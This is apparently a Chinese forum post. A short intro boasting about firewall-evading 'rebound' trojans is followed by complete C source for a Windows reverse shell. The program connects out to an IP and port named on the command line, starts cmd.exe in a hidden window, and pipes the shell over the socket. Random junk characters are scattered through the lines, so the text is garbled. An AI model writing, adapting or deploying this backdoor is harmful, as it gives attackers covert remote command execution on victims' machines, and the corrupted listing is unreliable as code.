这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @_c&lToj_
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/* ============================== &io+*
Rebound port in Windows NT ?/@XJcm+
By wind,2006/7 t(.vX
===============================*/ b rDyjh
#include 6Qz=g
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#include E"/k"1@
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#pragma comment(lib,"wsock32.lib") $6r>
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void OutputShell(); "_BWUY
SOCKET sClient; sUxEm}z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ZN'B@E=p
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void main(int argc,char **argv) q/@r#
{ CL(D&8v8~
WSADATA stWsaData; @l_rB~
int nRet; J=O_nup6C
SOCKADDR_IN stSaiClient,stSaiServer; o:as}7/^
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if(argc != 3) SD:Bw0gzrI
{ *9F{+)A
printf("Useage:\n\rRebound DestIP DestPort\n"); \l5G
return; 7o*~zDh@fH
} (X2[}K
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WSAStartup(MAKEWORD(2,2),&stWsaData); %(\et%[]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /;}o0
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stSaiClient.sin_family = AF_INET; &RHx8zScP
stSaiClient.sin_port = htons(0); rC/z8m3z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oHV!>K_D
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c47.,oTo
{ CX5>/
printf("Bind Socket Failed!\n"); A*]sN8
return; JRtDjZ4>
} \y7\RV>>3b
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stSaiServer.sin_family = AF_INET; N{Pa&/V
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7<?Aou
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zrC1/%T
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /|v
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{ o7v9xm+
printf("Connect Error!"); #%z@yg
return; 7$"5qJ{ s
} #Qu|9Q[QH
OutputShell(); +ul.P)1J6
} ,C'mE''x
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void OutputShell() 9m%+ 6#|
{ "1Y DT-I"
char szBuff[1024]; og*ti!Z
SECURITY_ATTRIBUTES stSecurityAttributes; >T\^dHtz
OSVERSIONINFO stOsversionInfo; 2aUE<@RU[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dA(+02U/.
STARTUPINFO stStartupInfo; 0o
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char *szShell; ]==S?_.B3n
PROCESS_INFORMATION stProcessInformation; {'?PGk%v
unsigned long lBytesRead; 97}l`z;Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O%} hNTS"
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q-+_Y `_\
stSecurityAttributes.lpSecurityDescriptor = 0; ]^QO^{Sz
stSecurityAttributes.bInheritHandle = TRUE; mw\Pv|
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 2(9~G|C.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?y~"\iP
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CL!s #w1I\
stStartupInfo.wShowWindow = SW_HIDE; 0y;1Dk!
stStartupInfo.hStdInput = hReadPipe; reNUIDt/c
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j>hBNz
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GetVersionEx(&stOsversionInfo); L^ U.h
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switch(stOsversionInfo.dwPlatformId) &&sm7F%
{ 1#vi]CX
case 1: ;xu&%n[6@
szShell = "command.com"; AIM<mU
break; 'W p~8}i@
default: mbIHzzW>
szShell = "cmd.exe"; (+bt{Ma
break; hx}X=7w
} &?APY9\.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mP./e8
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send(sClient,szMsg,77,0); {"*gX&;~
while(1) (S63:q&g
{ VzuU0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fvV5G,lD3h
if(lBytesRead) sN/8OLc
{ CYhSCT!-?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6{[ uCxxl
send(sClient,szBuff,lBytesRead,0); KzZRFEA_
} x 4`RKv2m
else nX+c
HF
{ jh~E!%d77
lBytesRead=recv(sClient,szBuff,1024,0); lnrs4s Km
if(lBytesRead<=0) break; =n_>7@9l
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &^F'ME
} -EWC3,3
} *7yrm&@nG
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return; e,@5`aYHM@
}